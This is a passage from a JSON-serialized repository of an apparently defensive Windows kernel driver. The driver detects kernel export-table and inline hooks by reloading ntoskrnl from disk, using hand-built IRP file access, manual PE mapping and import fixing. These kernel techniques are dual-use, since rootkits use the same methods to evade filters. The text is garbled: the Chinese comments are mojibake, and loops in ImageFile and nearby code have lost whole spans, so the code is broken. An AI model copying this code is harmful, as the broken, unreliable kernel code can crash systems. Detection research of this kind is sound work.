arrayOfFunctionNames[x]);\r\n ulFunctionOrdinal = arrayOfFunctionOrdinals[x] + Base - 1; \r\n functionAddress = (DWORD)((BYTE*)ulModuleBase + arrayOfFunctionAddresses[ulFunctionOrdinal]);\r\n\r\n if (*functionName == 'Z' &&\r\n *(functionName+1) == 'w')\r\n {\r\n position = *((WORD*)(functionAddress + 1)); //õ\r\n if (position > 0 &&\r\n position <= OriginalServiceDescriptorTable->TableSize)\r\n {\r\n //õԭʼַ\r\n functionAddress = OriginalServiceDescriptorTable->ServiceTable[position] - (ULONG)ImageModuleBase + SystemKernelModuleBase;\r\n }\r\n }\r\n if (ulOldAddress != functionAddress)\r\n {\r\n KdPrint((\"EAT HOOK %08x:%s\\r\\n\",functionAddress,functionName));\r\n return functionAddress;\r\n }\r\n return 0;\r\n}\r\n\r\n" }, { "path": "CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/KernelHookCheck.h", "content": "#include \"DriverEntry.h\"\r\n\r\nBOOLEAN KernelHookCheck(PINLINEHOOKINFO InlineHookInfo);\r\n\r\nVOID FillInlineHookInfo(PUCHAR ulTemp,PINLINEHOOKINFO InlineHookInfo,CHAR* szFunctionName,ULONG ulOldAddress,ULONG HookType);\r\nVOID CheckFuncByOpcode(PVOID ulReloadAddress,PINLINEHOOKINFO InlineHookInfo,CHAR* szFunctionName,PVOID ulOldAddress);\r\n\r\nULONG GetNextFunctionAddress(ULONG ulNtDllModuleBase,ULONG ulOldAddress,char *functionName,PINLINEHOOKINFO InlineHookInfo);\r\nBOOLEAN ReSetEatHook(CHAR *lpszFunction,ULONG ulReloadKernelModule,ULONG ulKernelModule);\r\nULONG GetEatHook(ULONG ulOldAddress,int x,ULONG ulSystemKernelModuleBase,ULONG ulSystemKernelModuleSize);\r\nBOOLEAN IsFunctionInExportTable(ULONG ulModuleBase,ULONG ulFunctionAddress);" }, { "path": "CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/KernelReload.c", "content": "\r\n#include \"KernelReload.h\"\r\n#include \"FileSystem.h\"\r\n#include \"FixRelocation.h\"\r\n\r\n\r\n/*ZwQuerySystemInformation öģϢ õһģ Ntos..*/\r\nBOOLEAN GetSystemKernelModuleInfo(WCHAR **SystemKernelModulePath,PDWORD SystemKernelModuleBase,PDWORD SystemKernelModuleSize)\r\n{\r\n NTSTATUS status;\r\n ULONG ulSize,i;\r\n PMODULES pModuleList;\r\n char *lpszKernelName=NULL;\r\n ANSI_STRING AnsiKernelModule;\r\n UNICODE_STRING UnicodeKernelModule;\r\n BOOLEAN bRet=TRUE;\r\n\r\n __try\r\n {\r\n status=ZwQuerySystemInformation(\r\n SystemModuleInformation,\r\n NULL,\r\n 0,\r\n &ulSize\r\n );\r\n if (status != STATUS_INFO_LENGTH_MISMATCH)\r\n {\r\n return FALSE;\r\n }\r\n pModuleList=(PMODULES)ExAllocatePool(NonPagedPool,ulSize);\r\n if (pModuleList)\r\n {\r\n status=ZwQuerySystemInformation(\r\n SystemModuleInformation,\r\n pModuleList,\r\n ulSize,\r\n &ulSize\r\n );\r\n if (!NT_SUCCESS(status))\r\n {\r\n bRet = FALSE;\r\n }\r\n }\r\n if (!bRet)\r\n {\r\n if (pModuleList)\r\n ExFreePool(pModuleList);\r\n return FALSE;\r\n }\r\n *SystemKernelModulePath=ExAllocatePool(NonPagedPool,260*2);\r\n if (*SystemKernelModulePath==NULL)\r\n {\r\n *SystemKernelModuleBase=0;\r\n *SystemKernelModuleSize=0;\r\n return FALSE;\r\n }\r\n\r\n lpszKernelName = pModuleList->smi[0].ModuleNameOffset+pModuleList->smi[0].ImageName; //һģ\r\n RtlInitAnsiString(&AnsiKernelModule,lpszKernelName);\r\n RtlAnsiStringToUnicodeString(&UnicodeKernelModule,&AnsiKernelModule,TRUE);\r\n\r\n RtlZeroMemory(*SystemKernelModulePath,260*2);\r\n wcscat(*SystemKernelModulePath,L\"\\\\SystemRoot\\\\system32\\\\\");\r\n\r\n memcpy(\r\n *SystemKernelModulePath+wcslen(L\"\\\\SystemRoot\\\\system32\\\\\"), //һģ·\r\n UnicodeKernelModule.Buffer,\r\n UnicodeKernelModule.Length\r\n );\r\n\r\n *SystemKernelModuleBase=(DWORD)pModuleList->smi[0].Base; //õһģַ\r\n *SystemKernelModuleSize=(DWORD)pModuleList->smi[0].Size; //õһģС\r\n ExFreePool(pModuleList);\r\n RtlFreeUnicodeString(&UnicodeKernelModule);\r\n\r\n }__except(EXCEPTION_EXECUTE_HANDLER){\r\n\r\n }\r\n return TRUE;\r\n}\r\n\r\n\r\n/*ļDeviceObjectRealDevice*/\r\nBOOLEAN IoGetFileSystemVpbInfo(IN PFILE_OBJECT FileObject,PDEVICE_OBJECT *DeviceObject,PDEVICE_OBJECT *RealDevice)\r\n{\r\n //PDEVICE_OBJECT deviceObject;\r\n // If the file object has a mounted Vpb, use its DeviceObject.\r\n if(FileObject->Vpb != NULL && FileObject->Vpb->DeviceObject != NULL)\r\n {\r\n *DeviceObject = FileObject->Vpb->DeviceObject;\r\n *RealDevice= FileObject->Vpb->RealDevice;\r\n\r\n // Otherwise, if the real device has a VPB that indicates that it is mounted,\r\n // then use the file system device object associated with the VPB.\r\n }\r\n else if\r\n (\r\n !(FileObject->Flags & FO_DIRECT_DEVICE_OPEN)\r\n &&\r\n FileObject->DeviceObject->Vpb != NULL\r\n &&\r\n FileObject->DeviceObject->Vpb->DeviceObject != NULL\r\n )\r\n {\r\n *DeviceObject = FileObject->DeviceObject->Vpb->DeviceObject;\r\n *RealDevice = FileObject->DeviceObject->Vpb->RealDevice;\r\n // Otherwise, just return the real device object.\r\n }\r\n else\r\n {\r\n *DeviceObject = FileObject->DeviceObject;\r\n *RealDevice=NULL;\r\n }\r\n if (*RealDevice==NULL||*DeviceObject==NULL)\r\n {\r\n return FALSE;\r\n }\r\n // Simply return the resultant file object.\r\n return TRUE;\r\n}\r\n\r\n\r\n\r\n//FileObjectеRealDeviceDeviceObject\r\nBOOLEAN GetDeviceObjectFromFileFullName(WCHAR *FileFullName,PDEVICE_OBJECT *RealDevice, PDEVICE_OBJECT *DeviceObject)\r\n{\r\n WCHAR wRootName[32]={0};\r\n UNICODE_STRING RootName;\r\n OBJECT_ATTRIBUTES ObjectAttributes={0};\r\n NTSTATUS status;\r\n HANDLE hFile;\r\n IO_STATUS_BLOCK IoStatus;\r\n PFILE_OBJECT FileObject;\r\n if (FileFullName[0]==0x005C)\r\n {//in \\Windows\\system32\\ntkrnlpa.exe\r\n wcscpy(wRootName,L\"\\\\SystemRoot\");\r\n }\r\n else\r\n {\r\n wcscpy(wRootName,L\"\\\\DosDevices\\\\*:\\\\\");\r\n wRootName[12]=FileFullName[0];\r\n }\r\n RtlInitUnicodeString(&RootName,wRootName);\r\n\r\n InitializeObjectAttributes(&ObjectAttributes, &RootName,\r\n OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);\r\n //RootName.Buffer = \"\\SystemRoot\"\r\n status = IoCreateFile(\r\n &hFile,\r\n SYNCHRONIZE,\r\n &ObjectAttributes,\r\n &IoStatus,\r\n 0,\r\n FILE_ATTRIBUTE_NORMAL,\r\n FILE_SHARE_READ|FILE_SHARE_WRITE,\r\n FILE_OPEN,\r\n FILE_DIRECTORY_FILE|FILE_SYNCHRONOUS_IO_NONALERT,\r\n NULL,\r\n 0,\r\n 0,\r\n NULL,\r\n IO_NO_PARAMETER_CHECKING);\r\n\r\n if (!NT_SUCCESS(status))\r\n {\r\n\r\n return FALSE;\r\n }\r\n status=ObReferenceObjectByHandle(hFile,1,*IoFileObjectType,KernelMode,&FileObject,NULL);\r\n if (!NT_SUCCESS(status))\r\n {\r\n ZwClose(hFile);\r\n return FALSE;\r\n }\r\n if(!IoGetFileSystemVpbInfo(FileObject,DeviceObject,RealDevice)) //FileObjectеdeviceObjectRealDevice\r\n {\r\n ObfDereferenceObject(FileObject);\r\n ZwClose(hFile);\r\n return FALSE;\r\n\r\n }\r\n ObfDereferenceObject(FileObject);\r\n ZwClose(hFile);\r\n\r\n return TRUE;\r\n\r\n}\r\n\r\n/*ϵͳĿ¼*/\r\nBOOLEAN GetWindowsRootName(WCHAR *WindowsRootName)\r\n{\r\n UNICODE_STRING RootName,ObjectName;\r\n OBJECT_ATTRIBUTES ObjectAttributes;\r\n HANDLE hLink;\r\n NTSTATUS status;\r\n WCHAR *SystemRootName=(WCHAR*)0x7FFE0030;\r\n WCHAR *ObjectNameBuffer=(WCHAR*)ExAllocatePool(NonPagedPool,260*2);\r\n if (ObjectNameBuffer==NULL)\r\n {\r\n return FALSE;\r\n }\r\n RtlZeroMemory(ObjectNameBuffer,260*2);\r\n RtlInitUnicodeString(&RootName,L\"\\\\SystemRoot\");\r\n InitializeObjectAttributes(&ObjectAttributes,&RootName,OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);\r\n status=ZwOpenSymbolicLinkObject(&hLink,1,&ObjectAttributes);\r\n if (NT_SUCCESS(status))\r\n {\r\n ObjectName.Buffer=ObjectNameBuffer;\r\n ObjectName.Length=0;\r\n ObjectName.MaximumLength=260*2;\r\n status=ZwQuerySymbolicLinkObject(hLink,&ObjectName,NULL);\r\n //ObjectNameBuffer \\Device\\Harddisk0\\Partition1\\Windows\r\n if (NT_SUCCESS(status))\r\n {\r\n int ObjectNameLength=ObjectName.Length/2;\r\n int Index;\r\n for (Index=ObjectNameLength-1;Index>0;Index--)\r\n {\r\n if (ObjectNameBuffer[Index]==0x005C)\r\n {\r\n if (!MmIsAddressValid(&WindowsRootName[ObjectNameLength-Index]))\r\n {\r\n break;\r\n\r\n }\r\n //\\Windows WindowsRootName\r\n RtlCopyMemory(WindowsRootName,&ObjectNameBuffer[Index],(ObjectNameLength-Index)*2);\r\n ExFreePool(ObjectNameBuffer);\r\n return TRUE;\r\n }\r\n\r\n }\r\n }\r\n\r\n }\r\n ExFreePool(ObjectNameBuffer);\r\n if (!MmIsAddressValid(SystemRootName))\r\n {\r\n return FALSE;\r\n }\r\n if (SystemRootName[1]!=0x003A||SystemRootName[2]!=0x005C)\r\n {\r\n return FALSE;\r\n }\r\n wcscpy(WindowsRootName,&SystemRootName[2]);\r\n\r\n return TRUE;\r\n\r\n\r\n}\r\n\r\n\r\n/*\r\nԼļ󣬹FileObject->IrpList ļ\r\n*/\r\n//\\SystemRoot\\system32\\ntkrnlpa.exe\r\nNTSTATUS KernelOpenFile(wchar_t *FileFullName, \r\n PHANDLE FileHandle, \r\n ACCESS_MASK DesiredAccess, \r\n ULONG FileAttributes, \r\n ULONG ShareAccess, \r\n ULONG CreateDisposition, \r\n ULONG CreateOptions)\r\n{\r\n WCHAR SystemRootName[32]=L\"\\\\SystemRoot\";\r\n WCHAR *FileNodeName=NULL;\r\n UNICODE_STRING FilePath;\r\n PDEVICE_OBJECT RealDevice,DeviceObject;\r\n NTSTATUS status=STATUS_UNSUCCESSFUL;\r\n PFILE_OBJECT FileObject;\r\n\r\n FileNodeName=ExAllocatePool(NonPagedPool,260*2);\r\n if (FileNodeName==NULL)\r\n {\r\n return status;\r\n }\r\n RtlZeroMemory(FileNodeName,260*2);\r\n\r\n if (_wcsnicmp(FileFullName,SystemRootName,wcslen(SystemRootName))==0) //ȷʲô ӦDz· ޸\r\n {\r\n //in \r\n int Len;\r\n if(!GetWindowsRootName(FileNodeName)) // \\Windows\r\n {\r\n ExFreePool(FileNodeName);\r\n return status;\r\n }\r\n Len=wcslen(SystemRootName);\r\n wcscat(FileNodeName,&FileFullName[Len]);\r\n //FileNodeName == \\Windows\\system32\\ntkrnlpa.exe\r\n //FileFullName == \\SystemRoot\\system32\\ntkrnlpa.exe\r\n }\r\n else\r\n {\r\n if (FileFullName[1]!=0x003A||FileFullName[2]!=0x005C)\r\n {\r\n return status;\r\n\r\n }\r\n wcscpy(FileNodeName,&FileFullName[2]);\r\n }\r\n\r\n if(!GetDeviceObjectFromFileFullName(FileFullName,&RealDevice,&DeviceObject)) //FileObjectеDeviceObjectRealDevice\r\n {\r\n ExFreePool(FileNodeName);\r\n return status;\r\n }\r\n //FileNodeName == \\Windows\\system32\\ntkrnlpa.exe\r\n RtlInitUnicodeString(&FilePath,FileNodeName);\r\n\r\n status=IrpCreateFile(&FilePath,DesiredAccess,FileAttributes,ShareAccess,CreateDisposition,CreateOptions,DeviceObject,RealDevice,&FileObject);\r\n //ļ FileObject->IrpList \r\n if (!NT_SUCCESS(status))\r\n {\r\n ExFreePool(FileNodeName);\r\n return status;\r\n }\r\n\r\n //ļ󣬻ļ\r\n status=ObOpenObjectByPointer(\r\n FileObject,\r\n OBJ_KERNEL_HANDLE, //verifier²ҪָOBJ_KERNEL_HANDLE\r\n 0,\r\n DesiredAccess|0x100000,\r\n *IoFileObjectType,\r\n 0,\r\n FileHandle);\r\n\r\n ObfDereferenceObject(FileObject);\r\n\r\n\r\n return status;\r\n\r\n}\r\n\r\n\r\n\r\n\r\n//ѯirpϢfilesize\r\nNTSTATUS KernelGetFileSize(HANDLE hFile, PLARGE_INTEGER FileSize)\r\n{\r\n NTSTATUS status;\r\n PFILE_OBJECT FileObject;\r\n PDEVICE_OBJECT DeviceObject,RealDevice;\r\n FILE_STANDARD_INFORMATION FileInformation;\r\n\r\n status=ObReferenceObjectByHandle(hFile, 0, *IoFileObjectType, KernelMode, &FileObject, 0);\r\n if (!NT_SUCCESS(status))\r\n {\r\n return status;\r\n }\r\n if(!IoGetFileSystemVpbInfo(FileObject,&DeviceObject,&RealDevice))\r\n {\r\n ObDereferenceObject(FileObject);\r\n return STATUS_UNSUCCESSFUL;\r\n }\r\n //ѯirpջϢFileObject\r\n status=IrpQueryInformationFile(FileObject,DeviceObject,&FileInformation,sizeof(FILE_STANDARD_INFORMATION),FileStandardInformation);\r\n if (!NT_SUCCESS(status))\r\n {\r\n ObDereferenceObject(FileObject);\r\n return status;\r\n }\r\n FileSize->HighPart=FileInformation.EndOfFile.HighPart;\r\n FileSize->LowPart=FileInformation.EndOfFile.LowPart;\r\n ObDereferenceObject(FileObject);\r\n return status;\r\n}\r\n\r\n\r\n\r\n\r\n/*\r\nļļСȡļڴ\r\n*/\r\nNTSTATUS KernelReadFile(HANDLE hFile, PLARGE_INTEGER ByteOffset, ULONG Length, PVOID FileBuffer, PIO_STATUS_BLOCK IoStatusBlock)\r\n{\r\n NTSTATUS status;\r\n PFILE_OBJECT FileObject;\r\n PDEVICE_OBJECT DeviceObject,RealDevice;\r\n FILE_STANDARD_INFORMATION FileInformation;\r\n status=ObReferenceObjectByHandle(hFile, 0, *IoFileObjectType, KernelMode, &FileObject, 0);\r\n if (!NT_SUCCESS(status))\r\n {\r\n return status;\r\n }\r\n if(!IoGetFileSystemVpbInfo(FileObject,&DeviceObject,&RealDevice))\r\n {\r\n ObDereferenceObject(FileObject);\r\n return STATUS_UNSUCCESSFUL;\r\n }\r\n status=IrpReadFile(FileObject,DeviceObject,IoStatusBlock,FileBuffer,Length,ByteOffset); //Irp󣬽ļ뻺\r\n ObDereferenceObject(FileObject);\r\n return status;\r\n\r\n}\r\n\r\n\r\n\r\n/*\r\n޸FileBufferеƫ VirtualAglin \r\nfilebuffer Ϊȡڴ ImageModuleBaseΪϵͳеģַ\r\n*/\r\nBOOLEAN ImageFile(BYTE *FileBuffer,BYTE **ImageModuleBase)\r\n{\r\n PIMAGE_DOS_HEADER ImageDosHeader;\r\n PIMAGE_NT_HEADERS ImageNtHeaders;\r\n PIMAGE_SECTION_HEADER ImageSectionHeader;\r\n DWORD FileAlignment,SectionAlignment,NumberOfSections,SizeOfImage,SizeOfHeaders;\r\n DWORD Index;\r\n BYTE *ImageBase;\r\n DWORD SizeOfNtHeaders;\r\n ImageDosHeader=(PIMAGE_DOS_HEADER)FileBuffer;\r\n if (ImageDosHeader->e_magic!=IMAGE_DOS_SIGNATURE)\r\n {\r\n return FALSE;\r\n }\r\n ImageNtHeaders=(PIMAGE_NT_HEADERS)(FileBuffer+ImageDosHeader->e_lfanew);\r\n if (ImageNtHeaders->Signature!=IMAGE_NT_SIGNATURE)\r\n {\r\n return FALSE;\r\n }\r\n FileAlignment=ImageNtHeaders->OptionalHeader.FileAlignment;//0x200\r\n SectionAlignment=ImageNtHeaders->OptionalHeader.SectionAlignment;//0x1000\r\n NumberOfSections=ImageNtHeaders->FileHeader.NumberOfSections;//0x16\r\n SizeOfImage=ImageNtHeaders->OptionalHeader.SizeOfImage;//0x412000\r\n SizeOfHeaders=ImageNtHeaders->OptionalHeader.SizeOfHeaders;//0x800\r\n\r\n SizeOfImage=AlignSize(SizeOfImage,SectionAlignment);//0x412000\r\n\r\n ImageBase=ExAllocatePool(NonPagedPool,SizeOfImage);\r\n if (ImageBase==NULL)\r\n {\r\n return FALSE;\r\n }\r\n RtlZeroMemory(ImageBase,SizeOfImage);\r\n //0xf8\r\n SizeOfNtHeaders=sizeof(ImageNtHeaders->FileHeader) + sizeof(ImageNtHeaders->Signature)+ImageNtHeaders->FileHeader.SizeOfOptionalHeader;\r\n ImageSectionHeader=(PIMAGE_SECTION_HEADER)((DWORD)ImageNtHeaders+SizeOfNtHeaders);\r\n for (Index=0;IndexSizeOfImage)\r\n {//no in\r\n ImageSectionHeader[NumberOfSections-1].SizeOfRawData = SizeOfImage-ImageSectionHeader[NumberOfSections-1].VirtualAddress;\r\n }\r\n RtlCopyMemory(ImageBase,FileBuffer,SizeOfHeaders);\r\n\r\n for (Index=0;IndexDriverSection ںģ \r\n*/\r\nPVOID GetKernelModuleBase(PDRIVER_OBJECT DriverObject,char *KernelModuleName)\r\n{\r\n PLDR_DATA_TABLE_ENTRY DriverSection,LdrEntry;\r\n ANSI_STRING AnsiKernelModuleName;\r\n UNICODE_STRING UniKernelModuleName;\r\n UNICODE_STRING ModuleName;\r\n WCHAR *Buffer;\r\n int Lentgh,Index;\r\n RtlInitAnsiString(&AnsiKernelModuleName,KernelModuleName);\r\n RtlAnsiStringToUnicodeString(&UniKernelModuleName,&AnsiKernelModuleName,TRUE);\r\n Buffer=ExAllocatePool(NonPagedPool,260*2);\r\n if (Buffer==NULL)\r\n {\r\n return NULL;\r\n }\r\n RtlZeroMemory(Buffer,206*2);\r\n DriverSection=DriverObject->DriverSection;\r\n LdrEntry=(PLDR_DATA_TABLE_ENTRY)DriverSection->InLoadOrderLinks.Flink;\r\n while (LdrEntry&&DriverSection!=LdrEntry)\r\n {\r\n //(DWORD)LdrEntry->DllBase>=*(DWORD*)MmSystemRangeStart&&\r\n if (LdrEntry->FullDllName.Length>0&&\r\n LdrEntry->FullDllName.Buffer!=NULL)\r\n {\r\n\r\n if (MmIsAddressValid(&LdrEntry->FullDllName.Buffer[LdrEntry->FullDllName.Length/2-1]))\r\n {\r\n Lentgh=LdrEntry->FullDllName.Length/2;\r\n for (Index=Lentgh-1;Index>0;Index--)\r\n {\r\n if (LdrEntry->FullDllName.Buffer[Index]==0x005C)\r\n {\r\n break;\r\n }\r\n }\r\n if (LdrEntry->FullDllName.Buffer[Index]==0x005C)\r\n {\r\n RtlCopyMemory(Buffer,&(LdrEntry->FullDllName.Buffer[Index+1]),(Lentgh-Index-1)*2);\r\n ModuleName.Buffer=Buffer;\r\n ModuleName.Length=(Lentgh-Index-1)*2;\r\n ModuleName.MaximumLength=260*2;\r\n }\r\n else\r\n {\r\n RtlCopyMemory(Buffer,LdrEntry->FullDllName.Buffer,Lentgh*2);\r\n ModuleName.Buffer=Buffer;\r\n ModuleName.Length=Lentgh*2;\r\n ModuleName.MaximumLength=260*2;\r\n\r\n }\r\n\r\n if (RtlEqualUnicodeString(&ModuleName,&UniKernelModuleName,TRUE))\r\n {\r\n ExFreePool(Buffer);\r\n return LdrEntry->DllBase;\r\n }\r\n\r\n }\r\n\r\n } \r\n LdrEntry=(PLDR_DATA_TABLE_ENTRY)LdrEntry->InLoadOrderLinks.Flink;\r\n }\r\n ExFreePool(Buffer);\r\n return NULL;\r\n}\r\n\r\n\r\n/*\r\nͨúַ\r\n*/\r\nPVOID\r\n MiFindExportedRoutine (\r\n IN PVOID DllBase,\r\n BOOLEAN ByName,\r\n IN char *RoutineName,\r\n DWORD Ordinal\r\n )\r\n{\r\n USHORT OrdinalNumber;\r\n PULONG NameTableBase;\r\n PUSHORT NameOrdinalTableBase;\r\n PULONG AddressTableBase;\r\n PULONG Addr;\r\n LONG High;\r\n LONG Low;\r\n LONG Middle;\r\n LONG Result;\r\n ULONG ExportSize;\r\n PVOID FunctionAddress;\r\n PIMAGE_EXPORT_DIRECTORY ExportDirectory;\r\n\r\n PAGED_CODE();\r\n\r\n //õ\r\n ExportDirectory = (PIMAGE_EXPORT_DIRECTORY) RtlImageDirectoryEntryToData (\r\n DllBase,\r\n TRUE,\r\n IMAGE_DIRECTORY_ENTRY_EXPORT,\r\n &ExportSize);\r\n\r\n if (ExportDirectory == NULL) {\r\n return NULL;\r\n }\r\n\r\n NameTableBase = (PULONG)((PCHAR)DllBase + (ULONG)ExportDirectory->AddressOfNames);\r\n NameOrdinalTableBase = (PUSHORT)((PCHAR)DllBase + (ULONG)ExportDirectory->AddressOfNameOrdinals);\r\n AddressTableBase=(PULONG)((PCHAR)DllBase + (ULONG)ExportDirectory->AddressOfFunctions);\r\n\r\n if (!ByName)\r\n {\r\n return (PVOID)AddressTableBase[Ordinal];\r\n }\r\n\r\n\r\n Low = 0;\r\n Middle = 0;\r\n High = ExportDirectory->NumberOfNames - 1;\r\n\r\n while (High >= Low) {\r\n Middle = (Low + High) >> 1;\r\n\r\n Result = strcmp (RoutineName,\r\n (PCHAR)DllBase + NameTableBase[Middle]);\r\n\r\n if (Result < 0) {\r\n High = Middle - 1;\r\n }\r\n else if (Result > 0) {\r\n Low = Middle + 1;\r\n }\r\n else {\r\n break;\r\n }\r\n }\r\n\r\n if (High < Low) {\r\n return NULL;\r\n }\r\n\r\n OrdinalNumber = NameOrdinalTableBase[Middle];\r\n if ((ULONG)OrdinalNumber >= ExportDirectory->NumberOfFunctions) {\r\n return NULL;\r\n }\r\n\r\n Addr = (PULONG)((PCHAR)DllBase + (ULONG)ExportDirectory->AddressOfFunctions);\r\n\r\n FunctionAddress = (PVOID)((PCHAR)DllBase + Addr[OrdinalNumber]);\r\n\r\n //\r\n // Forwarders are not used by the kernel and HAL to each other.\r\n //\r\n\r\n ASSERT ((FunctionAddress <= (PVOID)ExportDirectory) ||\r\n (FunctionAddress >= (PVOID)((PCHAR)ExportDirectory + ExportSize)));\r\n\r\n return FunctionAddress;\r\n}\r\n\r\n\r\n\r\n\r\nBOOLEAN InsertOriginalFirstThunk(DWORD ImageBase,DWORD ExistImageBase,PIMAGE_THUNK_DATA FirstThunk)\r\n{\r\n DWORD Offset;\r\n PIMAGE_THUNK_DATA OriginalFirstThunk;\r\n Offset=(DWORD)FirstThunk-ImageBase;\r\n OriginalFirstThunk=(PIMAGE_THUNK_DATA)(ExistImageBase+Offset);\r\n while (OriginalFirstThunk->u1.Function)\r\n {\r\n FirstThunk->u1.Function=OriginalFirstThunk->u1.Function;\r\n OriginalFirstThunk++;\r\n FirstThunk++;\r\n }\r\n return TRUE;\r\n\r\n}\r\n\r\n\r\n\r\n\r\n\r\n\r\n//޸\r\nBOOLEAN FixImportTable(BYTE *ImageBase,DWORD ExistImageBase,PDRIVER_OBJECT DriverObject)\r\n{\r\n PIMAGE_IMPORT_DESCRIPTOR ImageImportDescriptor=NULL;\r\n PIMAGE_THUNK_DATA ImageThunkData,FirstThunk;\r\n PIMAGE_IMPORT_BY_NAME ImortByName;\r\n DWORD ImportSize;\r\n PVOID ModuleBase;\r\n char ModuleName[260];\r\n DWORD FunctionAddress;\r\n //õַ\r\n ImageImportDescriptor=(PIMAGE_IMPORT_DESCRIPTOR)RtlImageDirectoryEntryToData(ImageBase,TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT,&ImportSize);\r\n if (ImageImportDescriptor==NULL)\r\n {\r\n return FALSE;\r\n }\r\n while (ImageImportDescriptor->OriginalFirstThunk&&ImageImportDescriptor->Name)\r\n {\r\n strcpy(ModuleName,(char*)(ImageBase+ImageImportDescriptor->Name)); //Ϣ\r\n\r\n //ntoskrnl.exe(NTKRNLPA.exentkrnlmp.exentkrpamp.exe)\r\n if (_stricmp(ModuleName,\"ntkrnlpa.exe\")==0||\r\n _stricmp(ModuleName,\"ntoskrnl.exe\")==0||\r\n _stricmp(ModuleName,\"ntkrnlmp.exe\")==0||\r\n _stricmp(ModuleName,\"ntkrpamp.exe\")==0)\r\n {//no in\r\n ModuleBase=GetKernelModuleBase(DriverObject,\"ntkrnlpa.exe\"); //ͨDriverObject->DriverSection ںģ\r\n if (ModuleBase==NULL)\r\n {\r\n ModuleBase=GetKernelModuleBase(DriverObject,\"ntoskrnl.exe\");\r\n if (ModuleBase==NULL)\r\n {\r\n ModuleBase=GetKernelModuleBase(DriverObject,\"ntkrnlmp.exe\");\r\n if (ModuleBase==NULL)\r\n {\r\n ModuleBase=GetKernelModuleBase(DriverObject,\"ntkrpamp.exe\");\r\n\r\n }\r\n\r\n }\r\n }\r\n\r\n }\r\n else\r\n {\r\n ModuleBase=GetKernelModuleBase(DriverObject,ModuleName);\r\n\r\n }\r\n if (ModuleBase==NULL)\r\n {\r\n FirstThunk=(PIMAGE_THUNK_DATA)(ImageBase+ImageImportDescriptor->FirstThunk);\r\n InsertOriginalFirstThunk((DWORD)ImageBase,ExistImageBase,FirstThunk);\r\n ImageImportDescriptor++;\r\n continue;\r\n }\r\n //PSHED.dll\r\n ImageThunkData=(PIMAGE_THUNK_DATA)(ImageBase+ImageImportDescriptor->OriginalFirstThunk);\r\n FirstThunk=(PIMAGE_THUNK_DATA)(ImageBase+ImageImportDescriptor->FirstThunk);\r\n while(ImageThunkData->u1.Ordinal)\r\n {\r\n //ŵ\r\n if(IMAGE_SNAP_BY_ORDINAL32(ImageThunkData->u1.Ordinal))\r\n {\r\n //ͨϵͳں˵ĵ - ַ\r\n FunctionAddress=(DWORD)MiFindExportedRoutine(ModuleBase,FALSE,NULL,ImageThunkData->u1.Ordinal & ~IMAGE_ORDINAL_FLAG32);\r\n if (FunctionAddress==0)\r\n {\r\n return FALSE;\r\n }\r\n FirstThunk->u1.Function=FunctionAddress;\r\n }\r\n //\r\n else\r\n {\r\n //\r\n ImortByName=(PIMAGE_IMPORT_BY_NAME)(ImageBase+ImageThunkData->u1.AddressOfData);\r\n FunctionAddress=(DWORD)MiFindExportedRoutine(ModuleBase,TRUE,ImortByName->Name,0);\r\n if (FunctionAddress==0)\r\n {\r\n return FALSE;\r\n }\r\n FirstThunk->u1.Function=FunctionAddress;\r\n }\r\n FirstThunk++;\r\n ImageThunkData++;\r\n }\r\n ImageImportDescriptor++;\r\n }\r\n return TRUE;\r\n}\r\n\r\n\r\n/*\r\nsystem32//NtosKrnl.exe .. \r\n*/\r\nBOOLEAN PeLoad(\r\n WCHAR *FileFullPath,\r\n BYTE **ImageModeleBase,\r\n PDRIVER_OBJECT DeviceObject,\r\n DWORD ExistImageBase\r\n )\r\n{\r\n NTSTATUS Status;\r\n HANDLE hFile;\r\n LARGE_INTEGER FileSize;\r\n DWORD Length;\r\n BYTE *FileBuffer;\r\n BYTE *ImageBase;\r\n IO_STATUS_BLOCK IoStatus;\r\n //\\SystemRoot\\system32\\ntkrnlpa.exe\r\n Status=KernelOpenFile(FileFullPath,&hFile,0x100020,0x80,1,1,0x20); //Լļ󣬹FileObject->IrpList ļ\r\n if (!NT_SUCCESS(Status))\r\n {\r\n return FALSE;\r\n }\r\n\r\n Status=KernelGetFileSize(hFile,&FileSize); //ȡirpϢfilesize\r\n if (!NT_SUCCESS(Status))\r\n {\r\n ZwClose(hFile);\r\n return FALSE;\r\n }\r\n Length=FileSize.LowPart;\r\n FileBuffer=ExAllocatePool(PagedPool,Length);\r\n if (FileBuffer==NULL)\r\n {\r\n ZwClose(hFile);\r\n return FALSE;\r\n }\r\n\r\n Status=KernelReadFile(hFile,NULL,Length,FileBuffer,&IoStatus); //ļļС ͨirp󣬶ȡļڴ\r\n if (!NT_SUCCESS(Status))\r\n {\r\n ZwClose(hFile);\r\n ExFreePool(FileBuffer);\r\n return FALSE;\r\n }\r\n ZwClose(hFile);\r\n\r\n\r\n if(!ImageFile(FileBuffer,&ImageBase)) //޸FileBufferеƫ VirtualAglin õȫImageModuleBase\r\n {\r\n ExFreePool(FileBuffer);\r\n return FALSE;\r\n }\r\n ExFreePool(FileBuffer);\r\n\r\n //2k3MiFindExportedRoutineʧ\r\n if(!FixImportTable(ImageBase,ExistImageBase,DeviceObject)) //޸\r\n {\r\n ExFreePool(ImageBase);\r\n return FALSE;\r\n }\r\n if(!FixBaseRelocTable(ImageBase,ExistImageBase)) //޸ضλ\r\n {\r\n ExFreePool(ImageBase);\r\n return FALSE;\r\n }\r\n\r\n *ImageModeleBase=ImageBase; //õĻַ ԭڴиʽһ һntos\r\n\r\n return TRUE;\r\n}\r\n\r\n" }, { "path": "CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/KernelReload.h", "content": "#include \"Reload.h\"\r\n\r\n\r\n\r\n\r\n\r\nBOOLEAN GetSystemKernelModuleInfo(WCHAR **SystemKernelModulePath,PDWORD SystemKernelModuleBase,PDWORD SystemKernelModuleSize);\r\n\r\nBOOLEAN IoGetFileSystemVpbInfo(IN PFILE_OBJECT FileObject,PDEVICE_OBJECT *DeviceObject,PDEVICE_OBJECT *RealDevice);\r\n\r\n\r\nBOOLEAN GetDeviceObjectFromFileFullName(WCHAR *FileFullName,PDEVICE_OBJECT *RealDevice, PDEVICE_OBJECT *DeviceObject);\r\n\r\n\r\nBOOLEAN GetWindowsRootName(WCHAR *WindowsRootName);\r\n\r\nNTSTATUS 